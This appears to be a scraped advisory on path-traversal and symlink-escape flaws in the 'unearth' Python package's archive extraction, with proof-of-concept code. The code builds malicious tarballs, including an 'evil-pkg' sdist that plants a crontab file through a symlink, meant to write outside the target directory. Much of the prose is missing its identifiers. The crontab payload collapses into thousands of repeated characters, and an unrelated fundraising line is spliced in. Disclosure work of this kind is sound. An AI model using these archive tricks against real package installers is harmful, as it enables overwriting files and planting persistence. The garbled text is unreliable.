Python unearth sdist extraction Arbitrary File Read/Write and Symlink Escape Vulnerability Analysis

Vulnerability Overview Two independent arbitrary file read/write vulnerabilities exist in the extraction process of , which can be triggered via . Specifically: 1. Path Traversal Vulnerability: The call within the function invokes . This does not resolve in the path, leading to the kernel resolving and writing timestamps. Consequently, files may end up outside of . 2. Symbolic Link Escape Vulnerability: The function does not validate when creating symbolic links, allowing absolute paths or to escape the target directory. When sharing the symbolic link prefix for subsequent members, Python 3.12's extraction filter is bypassed. accepts a parameter, but does not pass this parameter. This renders the (which rejects symbolic links) configuration ineffective. Impact Scope Affected Versions: 0.18.2 and 2.28.0 Vulnerability Type: Path traversal, symbolic link escape Trigger Condition: Triggered via the command Remediation Python 3.12+: Use to prevent , absolute paths, escaping symbolic links, and device nodes. Additionally, resolve paths on both sides within and reject symbolic link members whose resolved target path falls outside the target directory. Older Python Versions: Manually resolve paths and reject symbolic link members, ensuring that their resolved target paths remain within the target directory. POC Code ```python import io, os, shutil, sys, tarfile, tempfile, threading, subprocess, textwrap from http.server import HTTPServer, SimpleHTTPRequestHandler from pathlib import Path from importlib.metadata import version as pkg_version from unearth.preparer import unpack_archive W = Path(tempfile.mkdtemp(prefix="w_")) def t_dotdot(): d = W/"a_dest"; d.mkdir() with tarfile.open(W/"a.tar.gz", "w:gz") as t: _t(t, "./pwnd_a.txt", b"ESCAPED_VIA_DOTDOT\n") _t(t, "empty.txt", b"") unpack_archive(W/"a.tar.gz", d) p = d/"pwnd_a.txt" return p if p.exists() else None def t_symlink(): d, out = W/"b_dest", W/"b_out" d.mkdir(); out.mkdir() with tarfile.open(W/"b.tar.gz", "w:gz") as t: _t(t, "link", link=str(out)) _t(t, W/"payload", b"ESCAPED_VIA_SYMLINK\n") unpack_archive(W/"b.tar.gz", d) p = out/"payload" return p if p.exists() else None def t_sdist(): d, out = W/"e2e_dest", W/"e2m_out" d.mkdir(); out.mkdir() pk = "evil-pkg-0.1.0" with tarfile.open(W/"e2e.tar.gz", "w:gz") as t: _t(t, f"{pk}/setup.py", b"""from setuptools import setup; setup(name='evil-pkg')""") _t(t, f"{pk}/PKG-INFO", b"""Metadata-Version: 2.1;Name: evil-pkg\n""") _t(t, f"{pk}/link.txt", link=str(out)) _t(t, f"{pk}/bin/crontab", b"'' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' - ' -

Goal Reached Thanks to every supporter — we hit 100%!

Python unearth sdist extraction Arbitrary File Read/Write and Symlink Escape Vulnerability Analysis

More from this source